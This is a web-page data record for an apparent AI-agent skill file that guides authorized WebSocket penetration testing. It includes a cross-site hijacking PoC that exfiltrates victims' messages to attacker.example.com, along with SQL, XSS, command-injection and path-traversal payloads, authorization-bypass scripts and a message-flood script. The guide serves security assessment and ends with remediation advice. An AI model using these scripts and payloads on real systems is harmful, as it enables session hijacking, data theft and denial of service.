[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ETQRYJS11CXJ2XMZS7C1S9":3,"skill-same:01M6ETQRYJS11CXJ2XMZS7C1S9":108},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":14,"repositoryHtmlUrl":72,"repositoryHomepageUrl":73,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6ETQRYJS11CXJ2XMZS7C1S9","exploiting-websocket-vulnerabilities",null,"Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"vulnerabilities","websocket","exploiting websocket vulnerabilities","real-time","penetration","de","time","message","007","cm","application-security","t1505","testing","injection","web-application-security","owasp","authentication","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-websocket-vulnerabilities\ndescription: Testing WebSocket implementations for authentication bypass, cross-site\n  hijacking, injection attacks, and insecure message handling during authorized security\n  assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- websocket\n- web-security\n- owasp\n- real-time\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting WebSocket Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when the application uses WebSocket connections for real-time features\n- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools\n- For testing WebSocket API endpoints for authentication and authorization flaws\n- When evaluating real-time data streams for injection vulnerabilities\n- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering WebSocket testing\n- **Burp Suite Professional**: With WebSocket interception capability\n- **Browser DevTools**: Network tab for WebSocket frame inspection\n- **websocat**: Command-line WebSocket client (`cargo install websocat`)\n- **wscat**: Node.js WebSocket client (`npm install -g wscat`)\n- **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)\n\n## Workflow\n\n### Step 1: Discover and Enumerate WebSocket Endpoints\n\nIdentify WebSocket connections in the application.\n\n```bash\n# Check for WebSocket upgrade in response headers\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n\n# Common WebSocket endpoint paths\nfor path in \u002Fws \u002Fwebsocket \u002Fsocket \u002Fsocket.io \u002Fsignalr \u002Fhub \\\n  \u002Fchat \u002Fnotifications \u002Flive \u002Fstream \u002Frealtime \u002Fapi\u002Fws; do\n  echo -n \"$path: \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Upgrade: websocket\" \\\n    -H \"Connection: Upgrade\" \\\n    -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n    -H \"Sec-WebSocket-Version: 13\" \\\n    \"https:\u002F\u002Ftarget.example.com$path\")\n  echo \"$status\"\ndone\n\n# Check for Socket.IO\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsocket.io\u002F?EIO=4&transport=polling\"\n\n# Check for SignalR\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsignalr\u002Fnegotiate\"\n\n# In browser DevTools:\n# Network tab > Filter: WS\n# Look for ws:\u002F\u002F or wss:\u002F\u002F connections\n# Examine the upgrade request and WebSocket frames\n```\n\n### Step 2: Test WebSocket Authentication\n\nVerify that WebSocket connections require proper authentication.\n\n```bash\n# Test connection without authentication\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\"\n# If connection succeeds without tokens, auth is missing\n\n# Test with expired\u002Finvalid token\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=invalid_or_expired_token\"\n\n# Test connection with stolen\u002Freplayed session\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_from_another_user\"\n\n# Test token in WebSocket URL parameter\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws?token=invalid_token\"\n\n# Test if authentication is only checked at connection time\n# Connect with valid token, then check if messages still work\n# after the token expires or the user logs out\n\n# Using Python for automated testing\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\n\nasync def test_no_auth():\n    try:\n        async with websockets.connect(\"wss:\u002F\u002Ftarget.example.com\u002Fws\") as ws:\n            print(\"Connected WITHOUT authentication!\")\n            # Try sending a message\n            await ws.send('{\"type\":\"get_data\",\"resource\":\"users\"}')\n            response = await ws.recv()\n            print(f\"Response: {response}\")\n    except Exception as e:\n        print(f\"Connection failed: {e}\")\n\nasyncio.run(test_no_auth())\nPYEOF\n```\n\n### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)\n\nCheck if the WebSocket handshake is vulnerable to cross-site attacks.\n\n```bash\n# Check Origin header validation on WebSocket upgrade\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)\n# If 403: Origin validation is working\n```\n\n```html\n\u003C!-- Cross-Site WebSocket Hijacking PoC -->\n\u003C!-- Host on attacker-controlled server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Cross-Site WebSocket Hijacking\u003C\u002Fh1>\n\u003Cdiv id=\"messages\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F This connects to the target's WebSocket using the victim's cookies\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget.example.com\u002Fws\");\n\nws.onopen = function() {\n  console.log(\"WebSocket connected (using victim's session)\");\n  \u002F\u002F Request sensitive data through the WebSocket\n  ws.send(JSON.stringify({type: \"get_messages\", channel: \"private\"}));\n  ws.send(JSON.stringify({type: \"get_profile\"}));\n};\n\nws.onmessage = function(event) {\n  console.log(\"Data stolen: \" + event.data);\n  document.getElementById(\"messages\").innerText += event.data + \"\\n\";\n\n  \u002F\u002F Exfiltrate to attacker server\n  fetch(\"https:\u002F\u002Fattacker.example.com\u002Fcollect\", {\n    method: \"POST\",\n    body: event.data\n  });\n};\n\nws.onerror = function(error) {\n  console.log(\"WebSocket error: \" + error);\n};\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Test WebSocket Message Injection\n\nAssess WebSocket messages for injection vulnerabilities.\n\n```bash\n# Using wscat for manual message injection testing\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_token\"\n\n# Once connected, send test messages:\n\n# SQL injection in WebSocket message\n# > {\"action\":\"search\",\"query\":\"' OR 1=1--\"}\n\n# XSS payload in chat message\n# > {\"type\":\"message\",\"content\":\"\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\"}\n# > {\"type\":\"message\",\"content\":\"\u003Cimg src=x onerror=alert(1)>\"}\n\n# Command injection\n# > {\"action\":\"ping\",\"host\":\"127.0.0.1; whoami\"}\n\n# Path traversal\n# > {\"action\":\"read_file\",\"path\":\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"}\n\n# IDOR in WebSocket messages\n# > {\"action\":\"get_messages\",\"channel_id\":1}\n# > {\"action\":\"get_messages\",\"channel_id\":2}  (another user's channel)\n\n# Automated injection testing with Python\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nPAYLOADS = [\n    {\"action\": \"search\", \"query\": \"' OR 1=1--\"},\n    {\"action\": \"search\", \"query\": \"\u003Cscript>alert(1)\u003C\u002Fscript>\"},\n    {\"action\": \"search\", \"query\": \"{{7*7}}\"},\n    {\"action\": \"search\", \"query\": \"${7*7}\"},\n    {\"action\": \"read\", \"file\": \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"},\n    {\"action\": \"exec\", \"cmd\": \"; whoami\"},\n]\n\nasync def test_injections():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        for payload in PAYLOADS:\n            await ws.send(json.dumps(payload))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Payload: {json.dumps(payload)}\")\n                print(f\"Response: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"Timeout for: {json.dumps(payload)}\\n\")\n\nasyncio.run(test_injections())\nPYEOF\n```\n\n### Step 5: Test WebSocket Authorization and Rate Limiting\n\nCheck if message-level authorization and abuse controls are enforced.\n\n```bash\n# Test accessing other users' data via WebSocket\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nasync def test_authz():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=user_a_session\"}\n    ) as ws:\n        # Try accessing User B's private data\n        messages = [\n            {\"type\": \"subscribe\", \"channel\": \"user_b_private\"},\n            {\"type\": \"get_history\", \"user_id\": \"user_b_id\"},\n            {\"type\": \"admin_action\", \"action\": \"list_users\"},\n            {\"type\": \"send_message\", \"to\": \"admin\", \"as\": \"admin\"},\n        ]\n        for msg in messages:\n            await ws.send(json.dumps(msg))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Sent: {json.dumps(msg)}\")\n                print(f\"Received: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"No response for: {json.dumps(msg)}\\n\")\n\nasyncio.run(test_authz())\nPYEOF\n\n# Test rate limiting on WebSocket messages\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\nimport time\n\nasync def test_rate_limit():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        start = time.time()\n        for i in range(1000):\n            await ws.send(json.dumps({\n                \"type\": \"message\",\n                \"content\": f\"Flood message {i}\"\n            }))\n        elapsed = time.time() - start\n        print(f\"Sent 1000 messages in {elapsed:.2f} seconds\")\n        print(\"If no rate limiting, DoS is possible\")\n\nasyncio.run(test_rate_limit())\nPYEOF\n```\n\n### Step 6: Test WebSocket Encryption and Protocol Security\n\nVerify transport security and protocol-level protections.\n\n```bash\n# Check if WebSocket uses WSS (encrypted) or WS (plaintext)\n# WS (ws:\u002F\u002F) traffic can be intercepted by network attackers\n\n# Check for mixed protocols\n# Application on HTTPS but WebSocket on WS = insecure\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -oP \"ws:\u002F\u002F[^\\\"']+\"\n# Should only find wss:\u002F\u002F (encrypted WebSocket)\n\n# Test Sec-WebSocket-Protocol header handling\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Sec-WebSocket-Protocol: admin-protocol\"\n\n# Test for compression side-channel (CRIME-like attacks)\n# Check if Sec-WebSocket-Extensions includes permessage-deflate\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Sec-WebSocket-Extensions: permessage-deflate\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\" | grep -i \"sec-websocket-extensions\"\n# permessage-deflate with secrets in messages can leak data via compression\n\n# Test WebSocket connection persistence\n# Check if server implements proper timeouts and connection limits\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **WebSocket Handshake** | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |\n| **CSWSH** | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |\n| **Origin Validation** | Server-side check that the WebSocket upgrade request comes from a trusted origin |\n| **Message-level Authorization** | Verifying permissions for each WebSocket message, not just at connection time |\n| **WSS** | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |\n| **Socket.IO** | Popular WebSocket library with automatic fallback to HTTP long-polling |\n| **Ping\u002FPong Frames** | WebSocket keepalive mechanism; can be abused for timing attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | WebSocket interception, modification, and history analysis |\n| **wscat** | Command-line WebSocket client for manual testing |\n| **websocat** | Versatile command-line WebSocket client written in Rust |\n| **Browser DevTools** | Network tab WS filter for inspecting WebSocket frames |\n| **Socket.IO Client** | Testing Socket.IO-based WebSocket implementations |\n| **Python websockets** | Scripting automated WebSocket attack sequences |\n\n## Common Scenarios\n\n### Scenario 1: Chat Application CSWSH\nA real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.\n\n### Scenario 2: Trading Platform Message Injection\nA trading platform processes WebSocket messages containing order parameters. SQL injection in the `symbol` field of an order message allows extracting the entire order database through error-based SQLi.\n\n### Scenario 3: Missing Message Authorization\nA collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.\n\n### Scenario 4: Notification Channel IDOR\nA notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.\n\n## Output Format\n\n```\n## WebSocket Security Assessment Report\n\n**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)\n**Severity**: High (CVSS 8.1)\n**Location**: wss:\u002F\u002Ftarget.example.com\u002Fws\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### WebSocket Configuration\n| Property | Value |\n|----------|-------|\n| Protocol | WSS (encrypted) |\n| Library | Socket.IO 4.x |\n| Authentication | Cookie-based session |\n| Origin Validation | NOT ENFORCED |\n| Message Authorization | NOT ENFORCED |\n| Rate Limiting | NOT IMPLEMENTED |\n\n### Findings\n| Finding | Severity |\n|---------|----------|\n| CSWSH - No Origin validation | High |\n| Missing message-level authorization | High |\n| XSS via chat message injection | Medium |\n| No rate limiting on messages | Medium |\n| Channel IDOR (subscribe to any channel) | High |\n| WebSocket open after logout | Medium |\n\n### Impact\n- Private message exfiltration via CSWSH\n- Account impersonation through unauthorized message sending\n- Cross-channel data access affecting all users\n- DoS via message flooding (no rate limits)\n\n### Recommendation\n1. Validate the Origin header during WebSocket handshake\n2. Implement CSRF tokens in the WebSocket upgrade request\n3. Enforce authorization checks on every WebSocket message\n4. Sanitize all user input in WebSocket messages (prevent XSS\u002FSQLi)\n5. Implement message rate limiting per connection\n6. Invalidate WebSocket connections on logout or session expiration\n7. Use per-message authentication tokens rather than relying solely on the initial handshake\n```\n","# Exploiting WebSocket Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when the application uses WebSocket connections for real-time features\n- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools\n- For testing WebSocket API endpoints for authentication and authorization flaws\n- When evaluating real-time data streams for injection vulnerabilities\n- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering WebSocket testing\n- **Burp Suite Professional**: With WebSocket interception capability\n- **Browser DevTools**: Network tab for WebSocket frame inspection\n- **websocat**: Command-line WebSocket client (`cargo install websocat`)\n- **wscat**: Node.js WebSocket client (`npm install -g wscat`)\n- **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)\n\n## Workflow\n\n### Step 1: Discover and Enumerate WebSocket Endpoints\n\nIdentify WebSocket connections in the application.\n\n```bash\n# Check for WebSocket upgrade in response headers\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n\n# Common WebSocket endpoint paths\nfor path in \u002Fws \u002Fwebsocket \u002Fsocket \u002Fsocket.io \u002Fsignalr \u002Fhub \\\n  \u002Fchat \u002Fnotifications \u002Flive \u002Fstream \u002Frealtime \u002Fapi\u002Fws; do\n  echo -n \"$path: \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Upgrade: websocket\" \\\n    -H \"Connection: Upgrade\" \\\n    -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n    -H \"Sec-WebSocket-Version: 13\" \\\n    \"https:\u002F\u002Ftarget.example.com$path\")\n  echo \"$status\"\ndone\n\n# Check for Socket.IO\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsocket.io\u002F?EIO=4&transport=polling\"\n\n# Check for SignalR\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsignalr\u002Fnegotiate\"\n\n# In browser DevTools:\n# Network tab > Filter: WS\n# Look for ws:\u002F\u002F or wss:\u002F\u002F connections\n# Examine the upgrade request and WebSocket frames\n```\n\n### Step 2: Test WebSocket Authentication\n\nVerify that WebSocket connections require proper authentication.\n\n```bash\n# Test connection without authentication\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\"\n# If connection succeeds without tokens, auth is missing\n\n# Test with expired\u002Finvalid token\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=invalid_or_expired_token\"\n\n# Test connection with stolen\u002Freplayed session\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_from_another_user\"\n\n# Test token in WebSocket URL parameter\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws?token=invalid_token\"\n\n# Test if authentication is only checked at connection time\n# Connect with valid token, then check if messages still work\n# after the token expires or the user logs out\n\n# Using Python for automated testing\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\n\nasync def test_no_auth():\n    try:\n        async with websockets.connect(\"wss:\u002F\u002Ftarget.example.com\u002Fws\") as ws:\n            print(\"Connected WITHOUT authentication!\")\n            # Try sending a message\n            await ws.send('{\"type\":\"get_data\",\"resource\":\"users\"}')\n            response = await ws.recv()\n            print(f\"Response: {response}\")\n    except Exception as e:\n        print(f\"Connection failed: {e}\")\n\nasyncio.run(test_no_auth())\nPYEOF\n```\n\n### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)\n\nCheck if the WebSocket handshake is vulnerable to cross-site attacks.\n\n```bash\n# Check Origin header validation on WebSocket upgrade\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)\n# If 403: Origin validation is working\n```\n\n```html\n\u003C!-- Cross-Site WebSocket Hijacking PoC -->\n\u003C!-- Host on attacker-controlled server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Cross-Site WebSocket Hijacking\u003C\u002Fh1>\n\u003Cdiv id=\"messages\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F This connects to the target's WebSocket using the victim's cookies\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget.example.com\u002Fws\");\n\nws.onopen = function() {\n  console.log(\"WebSocket connected (using victim's session)\");\n  \u002F\u002F Request sensitive data through the WebSocket\n  ws.send(JSON.stringify({type: \"get_messages\", channel: \"private\"}));\n  ws.send(JSON.stringify({type: \"get_profile\"}));\n};\n\nws.onmessage = function(event) {\n  console.log(\"Data stolen: \" + event.data);\n  document.getElementById(\"messages\").innerText += event.data + \"\\n\";\n\n  \u002F\u002F Exfiltrate to attacker server\n  fetch(\"https:\u002F\u002Fattacker.example.com\u002Fcollect\", {\n    method: \"POST\",\n    body: event.data\n  });\n};\n\nws.onerror = function(error) {\n  console.log(\"WebSocket error: \" + error);\n};\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Test WebSocket Message Injection\n\nAssess WebSocket messages for injection vulnerabilities.\n\n```bash\n# Using wscat for manual message injection testing\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_token\"\n\n# Once connected, send test messages:\n\n# SQL injection in WebSocket message\n# > {\"action\":\"search\",\"query\":\"' OR 1=1--\"}\n\n# XSS payload in chat message\n# > {\"type\":\"message\",\"content\":\"\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\"}\n# > {\"type\":\"message\",\"content\":\"\u003Cimg src=x onerror=alert(1)>\"}\n\n# Command injection\n# > {\"action\":\"ping\",\"host\":\"127.0.0.1; whoami\"}\n\n# Path traversal\n# > {\"action\":\"read_file\",\"path\":\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"}\n\n# IDOR in WebSocket messages\n# > {\"action\":\"get_messages\",\"channel_id\":1}\n# > {\"action\":\"get_messages\",\"channel_id\":2}  (another user's channel)\n\n# Automated injection testing with Python\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nPAYLOADS = [\n    {\"action\": \"search\", \"query\": \"' OR 1=1--\"},\n    {\"action\": \"search\", \"query\": \"\u003Cscript>alert(1)\u003C\u002Fscript>\"},\n    {\"action\": \"search\", \"query\": \"{{7*7}}\"},\n    {\"action\": \"search\", \"query\": \"${7*7}\"},\n    {\"action\": \"read\", \"file\": \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"},\n    {\"action\": \"exec\", \"cmd\": \"; whoami\"},\n]\n\nasync def test_injections():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        for payload in PAYLOADS:\n            await ws.send(json.dumps(payload))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Payload: {json.dumps(payload)}\")\n                print(f\"Response: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"Timeout for: {json.dumps(payload)}\\n\")\n\nasyncio.run(test_injections())\nPYEOF\n```\n\n### Step 5: Test WebSocket Authorization and Rate Limiting\n\nCheck if message-level authorization and abuse controls are enforced.\n\n```bash\n# Test accessing other users' data via WebSocket\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nasync def test_authz():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=user_a_session\"}\n    ) as ws:\n        # Try accessing User B's private data\n        messages = [\n            {\"type\": \"subscribe\", \"channel\": \"user_b_private\"},\n            {\"type\": \"get_history\", \"user_id\": \"user_b_id\"},\n            {\"type\": \"admin_action\", \"action\": \"list_users\"},\n            {\"type\": \"send_message\", \"to\": \"admin\", \"as\": \"admin\"},\n        ]\n        for msg in messages:\n            await ws.send(json.dumps(msg))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Sent: {json.dumps(msg)}\")\n                print(f\"Received: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"No response for: {json.dumps(msg)}\\n\")\n\nasyncio.run(test_authz())\nPYEOF\n\n# Test rate limiting on WebSocket messages\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\nimport time\n\nasync def test_rate_limit():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        start = time.time()\n        for i in range(1000):\n            await ws.send(json.dumps({\n                \"type\": \"message\",\n                \"content\": f\"Flood message {i}\"\n            }))\n        elapsed = time.time() - start\n        print(f\"Sent 1000 messages in {elapsed:.2f} seconds\")\n        print(\"If no rate limiting, DoS is possible\")\n\nasyncio.run(test_rate_limit())\nPYEOF\n```\n\n### Step 6: Test WebSocket Encryption and Protocol Security\n\nVerify transport security and protocol-level protections.\n\n```bash\n# Check if WebSocket uses WSS (encrypted) or WS (plaintext)\n# WS (ws:\u002F\u002F) traffic can be intercepted by network attackers\n\n# Check for mixed protocols\n# Application on HTTPS but WebSocket on WS = insecure\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -oP \"ws:\u002F\u002F[^\\\"']+\"\n# Should only find wss:\u002F\u002F (encrypted WebSocket)\n\n# Test Sec-WebSocket-Protocol header handling\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Sec-WebSocket-Protocol: admin-protocol\"\n\n# Test for compression side-channel (CRIME-like attacks)\n# Check if Sec-WebSocket-Extensions includes permessage-deflate\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Sec-WebSocket-Extensions: permessage-deflate\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\" | grep -i \"sec-websocket-extensions\"\n# permessage-deflate with secrets in messages can leak data via compression\n\n# Test WebSocket connection persistence\n# Check if server implements proper timeouts and connection limits\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **WebSocket Handshake** | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |\n| **CSWSH** | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |\n| **Origin Validation** | Server-side check that the WebSocket upgrade request comes from a trusted origin |\n| **Message-level Authorization** | Verifying permissions for each WebSocket message, not just at connection time |\n| **WSS** | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |\n| **Socket.IO** | Popular WebSocket library with automatic fallback to HTTP long-polling |\n| **Ping\u002FPong Frames** | WebSocket keepalive mechanism; can be abused for timing attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | WebSocket interception, modification, and history analysis |\n| **wscat** | Command-line WebSocket client for manual testing |\n| **websocat** | Versatile command-line WebSocket client written in Rust |\n| **Browser DevTools** | Network tab WS filter for inspecting WebSocket frames |\n| **Socket.IO Client** | Testing Socket.IO-based WebSocket implementations |\n| **Python websockets** | Scripting automated WebSocket attack sequences |\n\n## Common Scenarios\n\n### Scenario 1: Chat Application CSWSH\nA real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.\n\n### Scenario 2: Trading Platform Message Injection\nA trading platform processes WebSocket messages containing order parameters. SQL injection in the `symbol` field of an order message allows extracting the entire order database through error-based SQLi.\n\n### Scenario 3: Missing Message Authorization\nA collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.\n\n### Scenario 4: Notification Channel IDOR\nA notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.\n\n## Output Format\n\n```\n## WebSocket Security Assessment Report\n\n**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)\n**Severity**: High (CVSS 8.1)\n**Location**: wss:\u002F\u002Ftarget.example.com\u002Fws\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### WebSocket Configuration\n| Property | Value |\n|----------|-------|\n| Protocol | WSS (encrypted) |\n| Library | Socket.IO 4.x |\n| Authentication | Cookie-based session |\n| Origin Validation | NOT ENFORCED |\n| Message Authorization | NOT ENFORCED |\n| Rate Limiting | NOT IMPLEMENTED |\n\n### Findings\n| Finding | Severity |\n|---------|----------|\n| CSWSH - No 